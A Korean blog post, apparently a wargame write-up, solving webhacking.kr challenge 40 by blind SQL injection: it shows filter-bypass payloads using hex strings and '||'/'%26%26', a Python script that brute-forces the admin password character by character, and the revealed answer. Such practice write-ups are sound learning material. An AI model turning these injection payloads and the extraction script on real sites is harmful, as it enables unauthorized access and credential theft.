ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 40번 풀이
    Wargame/webhacking.kr (old) 2019. 5. 7. 19:01

    login 버튼을 누르면 get 방식으로 no, id, pw 값이 전송되고,

    페이지에 Success - guest가 출력되며, 조금 뒤 원래 페이지로 돌아온다.

     

    이 문제는 php 소스가 주어지지 않았기때문에 추측해서 풀어야한다.

    추측을 위해 no의 값을 2로 변경하고 login 버튼을 눌러보았다.

     

    Failure

    or을 이용하여 no=2||no=1을 입력해보았더니 guest로 로그인하는데 성공하였다.

    no의 값을 이용하여 관리자의 아이디와 비밀번호를 알아낼 수 있을 것 같다.

     

    magic_quote_gpc 옵션이 켜져 있기때문에 no=0||id=admin을 입력하기 위해 char함수를 이용하였다.

    admin : char(97, 100, 109, 105, 110)

     

    char이 필터링되어 있는 것 같다. hex 값으로 입력해보았다.

    admin : 0x61646d696e

     

    admin password 가 출력되었다. 관리자 계정의 id는 admin이다.

    넣어주는 값에 따라 페이지에 출력되는 결과가 다르다.

    이를 이용해 password를 알아내는 Blind SQL Injection 문제이다.

     

    admin의 password 값을 찾아보자.

     

    [ 필터링된 문자열 ]

    ascii, ord, char, or, and

     

    필터링된 문자열을 피해서 비밀번호를 알아내면 될 것 같다.

     

    ?no=0||id=0x61646d696e&&length(pw)=숫자&id=guest&pw=guest

    ?no=0||id=0x61646d696e&&substr(pw,1,1)=0x61&id=guest&pw=guest

     

    (&&는 %26%26으로 입력해주어야한다. &를 파라미터 구분자로 인식하기 때문에 and로 인식하지 못한다.)

     

    [ url 특수문자 ] https://hyubidatnet.tistory.com/entry/URL에-쓰이는-특수-문자들과-그들의-의미

     

    비밀번호를 알아내기 위해 python을 이용해 소스를 짰다.

     

    [ 소스코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=be3bb46cd72f7e160164229a5a0a510e;'}
    url = "http://webhacking.kr/challenge/web/web-29/index.php"
    string = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    
    len = 0
    while True:
    	data = "?no=0||id=0x61646d696e%26%26length(pw)="+str(len)+"&id=a&pw=a"
    	r = requests.get(url+data,headers=headers)
    		
    	if r.text.find('admin password :') != -1:
    		break
    		
    	len += 1
    	if (len == 50):
    		len = 5
    print "------------------------------------------------"
    print "PASSWORD LEN : ", len
    print "------------------------------------------------"
    
    pw = ''
    for i in range(1,len+1):
    	for j in string:
    		data = "?no=0||id=0x61646d696e%26%26substr(pw,"+str(i)+",1)=0x"+j.encode("hex")+"&id=a&pw=a"
    		r = requests.get(url+data,headers=headers)
    		
    		if r.text.find('admin password :') != -1:
    			pw += j
    			print "found : ", pw
    			break
    print "------------------------------------------------"
    print "PASSWORD : ", pw
    print "------------------------------------------------"

    [ 실행 결과 ]

     

    admin의 password는 luck_admin이다.

    알아낸 비밀번호를 admin password에 제출하면 문제가 풀린다.

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 42번 풀이  (0) 2019.05.07
    [Webhacking.kr] 41번 풀이  (0) 2019.05.07
    [Webhacking.kr] 39번 풀이  (0) 2019.05.07
    [Webhacking.kr] 38번 풀이  (0) 2019.05.07
    [Webhacking.kr] 37번 풀이  (0) 2019.05.07

    댓글

@Jo Grini's Blog